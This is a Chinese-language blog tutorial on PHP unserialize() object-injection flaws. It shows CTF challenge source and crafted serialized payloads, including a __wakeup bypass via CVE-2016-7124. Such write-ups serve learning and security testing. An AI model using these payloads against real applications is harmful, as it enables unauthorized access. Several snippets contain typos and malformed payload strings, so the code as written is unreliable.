前言

因为一直以来对php反序列化颇有兴趣,并且在ctf中时常出现,故写一篇文章给自己,也给大家看看

序列化与反序列化

序列化函数:serialize(),用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构
反序列化函数:unserialize() 将php的值还原为原本的结构
我们可以这么理解序列化与反序列化,你想快递个桌子,肯定不能直接快递,我们首先要把桌子肢解,再运出去,运到手之后再把他拼起来,简单来说这就是序列化与反序列化

魔法函数和反序列化漏洞成因

construct():当一个类被创建时自动调用
destruct():当一个类被销毁时自动调用
invoke():当把一个类当作函数使用时自动调用
tostring():当把一个类当作字符串使用时自动调用
wakeup():当调用unserialize()函数时自动调用
sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用

所以说如果出现以上函数的话要小心
接下来别人写好的小demo 我拿来展示一下

 <?php
class chybeta{
    var $test = '123';
    function __wakeup(){
        echo "__wakeup";
        echo "</br>";
    }
    function __construct(){
        echo "__construct";
        echo "</br>";
    }
    function __destruct(){
        echo "__destruct";
        echo "</br>";
    }
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
    print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>

我们发现
1.jpg
wakeup()和desturct()函数居然也执行了
原来当unserialize() 反序列化之后,会导致 wakeup() 或 destruct() 的直接调用,所以我们很容易想出一种利用方法,既然这两个函数我们可控 那如果函数里面存在危险函数/代码或是一句话木马,后果不堪设想

CTF时候的运用

这种漏洞在广大ctf题目中经常使用,比如这道

2019极客大挑战反序列化1.0

代码如下

 class Student
    {
        public $score = 0;
        public function __destruct()
        {
            echo "__destruct working";
            if($this->score==10000) {
                $flag = "******************";
                echo $flag;
            }
        }
    }
    $exp = $_GET['exp'];
    echo "<br>";
    unserialize($exp);
    ?>

题目中可以看到提示 分数等于10000才能get flag 然后序列化得到的字符串通过get的方法传给exp变量 so我们构造如下

class Student
    {
        public $score = 10000;//将分数修改为10000
        public function __destruct()
        {
            echo "__destruct working";
            if($this->score==10000) {
                $flag = "******************";
                echo $flag;
            }
        }
    }
$a=new Student()
$b=serialize($a);
echo $b;

获得序列化字符串 O:7:"Student":1:{s:5:"score";i:10000;}
payload :?exp=O:7:"Student":1:{s:5:"score";i:10000;}

BUU上面的一道题

 class BUU {
       public $correct = "";
       public $input = "";
     
       /*__destruct() :对象的所有引用都被删除或者当对象被显式销毁时执行
             uniqid() :函数基于以微秒计的当前时间,生成一个唯一的 ID。
       */
       public function __destruct() {
           try {
               $this->correct = base64_encode(uniqid());
               if($this->correct === $this->input) {
                   echo file_get_contents("/flag");
               }
           } catch (Exception $e) {
           }
       }
    }

看到destruct函数就知道,他会在类销毁时候自动被调用,理解这个例子的关键代码
($this->correct === $this->input)
我们可以通过把correct这个赋给input 如果没有学过很多php的小伙伴可以理解为c++里面的引用 & ,或者指针也行
所以我们很容易构造出如下代码

  <?php
    class BUU{
        public $correct = "";
        public $input = "";
    
    }
    $a = new BUU();
    $a->input =&a->correct;
    echo serialize($a);
    ?>

值得一题的是这个是南邮的原题

进阶---wakeup()函数的绕过

2019 极客大挑战又来一只猫

一开始是备份下载,之后get源码

<

?php
    include 'flag.php';
    
    
    error_reporting(0);
    
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
    
            }
        }
    }
    ?>

可以看到需要admin才能get flag 而在_wakeup函数里面自动执行变为guest 这个是肯定不行呢 所以我们需要一些手段绕过wakeup函数
百度发现当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124),因为 $username和$password都是private 所以用New name()构造数值
本地构造如下

class Name()
{
private $username='nonono';
private $password='yesyes';
public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
}
$a=new Name('admin',100);
$b=searlize($a);
echo $b;

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100
我们通过修改成员属性 比如这个2修改成3 只要大于就可以绕过
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100

得到字符串 这道题发现显示14位,他居然只有12位,所以尝试url编码
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
发现有%00占位
传入即可get flag!

尾声

以上是本人的一点拙见,欢迎大家一起讨论